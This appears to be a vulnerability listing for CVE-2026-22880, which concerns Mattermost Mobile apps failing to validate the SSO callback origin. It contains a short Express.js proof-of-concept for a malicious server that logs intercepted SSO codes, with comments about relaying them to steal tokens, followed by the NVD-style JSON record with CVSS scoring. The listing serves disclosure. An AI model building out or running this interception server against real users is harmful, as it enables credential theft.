CVE-2026-22880

/* * PoC Concept: Malicious Server simulating SSO callback * This script demonstrates how a malicious server could be set up * to intercept the SSO flow if the client does not validate the origin. */ const express = require('express'); const app = express(); app.get('/sso/callback', (req, res) => { // The vulnerable app accepts this callback without checking the host const code = req.query.code; console.log(`[!] Intercepted SSO Code: ${code}`); // Relay the code to the legitimate server to steal the token // or return a crafted response to the mobile app res.send(`Received code: ${code}`); }); app.listen(8080, () => { console.log('Malicious SSO server listening on port 8080'); });

{"cve": {"id": "CVE-2026-22880", "sourceIdentifier": "[email protected]", "published": "2026-05-21T09:16:26.510", "lastModified": "2026-05-21T15:26:35.653", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Mobile Apps versions <=2.37 11.4 2.0.37 11.0.4 11.1.3 11.3.2 10.11.11.0 fail to properly validate the SSO authentication callback origin which allows an attacker controlling a malicious Mattermost server to steal user credentials for a legitimate Mattermost server via relaying the SSO code exchange flow through the mobile application. Mattermost Advisory ID: MMSA-2025-00564"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}